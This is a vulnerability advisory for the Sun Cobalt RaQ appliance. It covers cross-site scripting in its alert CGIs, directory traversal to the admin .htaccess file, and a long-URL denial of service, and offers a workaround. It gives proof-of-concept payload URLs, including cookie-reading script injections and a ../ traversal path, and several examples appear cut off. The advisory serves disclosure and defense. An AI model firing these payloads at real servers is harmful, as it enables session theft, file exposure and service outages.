  Cobalt RaQ Cross Site Scripting, Directory Traversal and DoS
Vulnerabilities
------------------------------------------------------------------------

SUMMARY

The Sun Cobalt RaQ is a server appliance for Internet Service Providers
(ISPs). It can host up to 200 individual websites or it can be dedicated
to a single medium or large customer.
Multiple security vulnerabilities have been found in the product, and
though the vulnerabilities require a valid account on the Cobalt machine,
they are dangerous nonetheless.

DETAILS

Cross site scripting:
Cobalt's service.cgi incorrectly handles the incoming search parses,
incoming HTML tags or JavaScript will be included inside the result
without them being filtered out for dangerous content.

Affected CGIs:
alert.cgi
service.cgi

Workaround:
1) Delete service.cgi from the system, or disable it from execution.
2) Delete alert.cgi from the system, or disable it from execution

Example:
http://10.0.0.1:81/cgi-bin/.cobalt/alert/service.cgi?service=>Hello!</h1><script>alert('hello')</script>
http://10.0.0.1:81/cgi-bin/.cobalt/alert/service.cgi?service=>alert('Microsoft%20hole')</script>
http://10.0.0.1:81/cgi-bin/.cobalt/alert/service.cgi?service=)>
http://10.0.0.1:81/cgi-bin/.cobalt/alert/service.cgi?service=>alert(document.cookie)</script>

Location:
http://10.0.0.1:81/cgi-bin/.cobalt/alert/service.cgi?service=%3Cscript%3Ealert(document.location)%3C/script%3E

Cookies:
http://10.0.0.1:81/cgi-bin/.cobalt/alert/service.cgi?service=%3Cscript%3Ealert(document.cookie)%3C/script%3E

Tag images:
http://10.0.0.1:81/cgi-bin/.cobalt/alert/service.cgi?service=)>

Write document:
http://10.0.0.1:81/cgi-bin/.cobalt/alert/service.cgi?service=>document.write(document.domain)</SCRIPT>

Directory traversal:
A directory traversal vulnerability exists by default in the CGI:
"/usr/admserv/html/.cobalt/admin". The CGI would allow you to access any
restricted files.

Example:
http://10.0.0.1:81/.cobalt/sysManage/../admin/.htaccess

# Access file for /usr/admserv/html/.cobalt/admin/ (admin )
order allow,deny
allow from all
require user admin
Authname CobaltRaQ
Authtype Basic

Denial of service:
The server crashes when it receives a very long URL.

Example:
http://10.0.0.1:81/cgi-bin/.cobalt/alert/service.cgi?service=/AAAAAAAAA...(Ax100000)...AAA
